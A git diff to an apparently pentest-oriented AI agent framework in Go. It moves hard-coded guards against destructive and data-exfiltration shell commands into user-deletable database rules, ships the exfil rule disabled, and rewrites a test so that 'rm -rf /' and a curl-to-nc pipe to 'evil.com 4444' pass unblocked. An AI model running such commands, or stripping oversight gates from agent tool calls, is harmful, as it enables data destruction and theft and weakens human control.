diff --git a/db/db.go b/db/db.go index 4e2b959..6a9e085 100644 --- a/db/db.go +++ b/db/db.go @@ -196,6 +196,9 @@ ON CONFLICT (name) DO NOTHING`, if err := d.seedDefaultInterceptRules(); err != nil { return fmt.Errorf("seed intercept rules: %w", err) } + if err := d.seedDefaultInterceptRulesV2(); err != nil { + return fmt.Errorf("seed intercept rules v2: %w", err) + } return nil } @@ -417,3 +420,52 @@ ON CONFLICT DO NOTHING`, } return d.SetSetting("intercept_default_rules_v1", "done") } + +// seedDefaultInterceptRulesV2 migrates the two safety patterns that used to be +// hard-coded in guard.go (destructive shell + data-exfil pipe) into ordinary +// intercept rules. Gated by its own flag so it also lands on DBs that already ran +// v1. Unlike the old guard.go floor, these are plain [内置] rules — the user can +// disable or delete them. The exfil rule ships DISABLED by default (its +// curl/wget/nc pipe pattern mis-fires on legitimate CTF/pentest reverse-shell and +// data-transfer pipes); enable it manually when exfil gating is actually wanted. +func (d *DB) seedDefaultInterceptRulesV2() error { + if v, _, _ := d.GetSetting("intercept_default_rules_v2"); v == "done" { + return nil + } + rules := []struct { + name string + pattern string + action string + message string + enabled bool + priority int + }{ + { + name: "[内置] 破坏性系统命令", + pattern: `(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`, + action: "deny", + message: "破坏性命令被拒绝(rm -rf / / mkfs / dd / fork bomb / 关机重启 / 覆写磁盘设备)", + enabled: true, + priority: 100, + }, + { + name: "[内置] 数据外泄管道", + pattern: `(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`, + action: "deny", + message: "疑似数据外泄管道被拒绝(命令输出经 curl/wget/nc 外传)", + enabled: false, + priority: 80, + }, + } + for _, r := range rules { + if _, err := d.Exec(` +INSERT INTO intercept_rules(name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action) +VALUES ($1, $2, $3, 'tool_input', 'regex', $4, $5, $6, false, 60, 'deny') +ON CONFLICT DO NOTHING`, + r.name, r.enabled, r.priority, r.pattern, r.action, r.message, + ); err != nil { + return fmt.Errorf("rule %q: %w", r.name, err) + } + } + return d.SetSetting("intercept_default_rules_v2", "done") +} diff --git a/guard/guard.go b/guard/guard.go index 0ddcbde..6f3d1fd 100644 --- a/guard/guard.go +++ b/guard/guard.go @@ -1,15 +1,16 @@ -// Package guard implements the safety boundary layer (docs §11): side-effect -// gating of destructive/exfil shell commands, an audit log, and Observer/G5 -// failure attribution. Every tool call passes through the PreToolUse hook before -// executing. (The RoE authorization-scope mechanism was removed; a replacement -// may be added later.) +// Package guard implements the safety boundary layer (docs §11): an audit log, +// user-configured intercept-rule evaluation, and Observer/G5 failure attribution. +// Every tool call passes through the PreToolUse hook before executing. +// (The RoE authorization-scope mechanism was removed; a replacement may be added +// later.) Destructive/exfil gating is no longer hard-coded here — it lives in the +// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or +// delete them), evaluated via applyIntercept. package guard import ( "context" "encoding/json" "regexp" - "strings" "sync" "time" @@ -53,15 +54,11 @@ func newGuard(ic *intercept.Interceptor) *Guard { // Hooks returns the hook registry to attach to an agent session. func (g *Guard) Hooks() *hook.Registry { return g.reg } -var ( - reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`) - reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`) -) - func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result { - // Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's - // command, shell_send's text). Same destructive/exfil rules — an interactive - // session must not bypass the safety boundary. Other tools pass through. + // Extract the shell-command surface for the audit log: Bash + the interactive-shell + // tools (shell_open's command, shell_send's text). Destructive/exfil gating is no + // longer hard-coded here — it now lives in the DB intercept rules, evaluated by + // applyIntercept below. Other tools record an empty command. var cmd string switch ev.ToolName { case "Bash", "shell_open": @@ -76,23 +73,7 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result { } _ = json.Unmarshal(ev.Input, &in) cmd = in.Text - default: - g.record(ev.ToolName, "allow", "", "") - return g.applyIntercept(ctx, ev) } - if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check - g.record(ev.ToolName, "allow", "", "") - return g.applyIntercept(ctx, ev) - } - - // destructive / exfil gating (§11 side-effect gating) - if reDestructive.MatchString(cmd) { - return g.block(ev.ToolName, "破坏性命令被安全边界拒绝(需人工批准)", cmd) - } - if reExfil.MatchString(cmd) { - return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd) - } - g.record(ev.ToolName, "allow", "", cmd) return g.applyIntercept(ctx, ev) } diff --git a/guard/guard_test.go b/guard/guard_test.go index b67d219..1fbc1b4 100644 --- a/guard/guard_test.go +++ b/guard/guard_test.go @@ -8,28 +8,29 @@ import ( "github.com/Autumn-27/norma/hook" ) -func TestPreToolUseGating(t *testing.T) { +// A guard with no interceptor no longer hard-blocks anything: destructive/exfil +// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2). +// PreToolUse must pass every command through and still record it to the audit log. +func TestPreToolUsePassthrough(t *testing.T) { g := New() - block := func(cmd string) (bool, string) { + block := func(cmd string) bool { input, _ := json.Marshal(map[string]string{"command": cmd}) - b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input) - return b, msg + b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input) + return b } - if b, _ := block(`curl https://acme.com/`); b { - t.Error("ordinary network command should be allowed") + for _, cmd := range []string{ + `curl https://acme.com/`, + `rm -rf /`, + `curl http://a|nc evil.com 4444`, + `ls -la`, + } { + if block(cmd) { + t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd) + } } - if b, _ := block(`rm -rf /`); !b { - t.Error("destructive command should be blocked") - } - if b, _ := block(`curl http://a|nc evil.com 4444`); !b { - t.Error("exfil pipe should be blocked") - } - if b, _ := block(`ls -la`); b { - t.Error("non-network command should be allowed") - } - // audit recorded both allows and blocks + // audit still records every gated call if len(g.Audit()) == 0 { t.Error("audit should record gated calls") } diff --git a/server/orchestration.go b/server/orchestration.go index 2371fde..7f314a9 100644 --- a/server/orchestration.go +++ b/server/orchestration.go @@ -240,6 +240,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool { "llm_profile_id": map[string]any{"type": "integer", "description": "可选:指定本子任务 planner/worker 用的 LLM 配置 id(见 list_llm_profiles);留空则继承父任务、再回退全局激活配置"}, "timeout_seconds": map[string]any{"type": "integer", "description": "可选:任务级超时(秒)。到点后触发优雅收尾并进入 timeout 终态;留空或 0 = 不限时"}, "plan_heartbeat_seconds": map[string]any{"type": "integer", "description": "可选:planner 心跳触发间隔(秒)。距上轮规划结束/任务开始满该值且期间无触发 → 触发一轮规划(兜底死锁 + 唤醒去监督飞行中的 worker)。留空或 0 = 默认 600(10min);"}, + "seed_first_intent": map[string]any{"type": "boolean", "description": "可选:对于简单任务可开启,创建时直接下发一条种子意图(内容=描述+目标)让 worker 免等首轮 planner 直接开跑测试;默认 false(走标准先规划再执行)。"}, }, "description", "goal"), func(_ context.Context, in json.RawMessage) (actool.Result, error) { var a struct { @@ -247,6 +248,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool { LLMProfileID json.RawMessage `json:"llm_profile_id"` TimeoutSeconds int `json:"timeout_seconds"` PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` + SeedFirstIntent bool `json:"seed_first_intent"` } _ = json.Unmarshal(in, &a) if strings.TrimSpace(a.Description) == "" { @@ -282,8 +284,8 @@ func (s *Server) toolSpawnTask() actool.CoreTool { } // 共享的建后流程,与 HTTP 建任务(server.go createTask)复用同一段 launchTask: // seed + 后台可见地做目标分解(第0轮/LLM步骤/逐条goal) + engine.Run。 - // spawn_task 不暴露 seed_first_intent:工具创建的任务一律走标准先规划再执行(false)。 - s.launchTask(t, a.Description+" "+a.Goal, false) + // seed_first_intent 默认 false(标准先规划再执行);简单任务可开启直接下发一 work 测试。 + s.launchTask(t, a.Description+" "+a.Goal, a.SeedFirstIntent) return actool.Text(fmt.Sprintf("task created: %s", t.ID)), nil }) }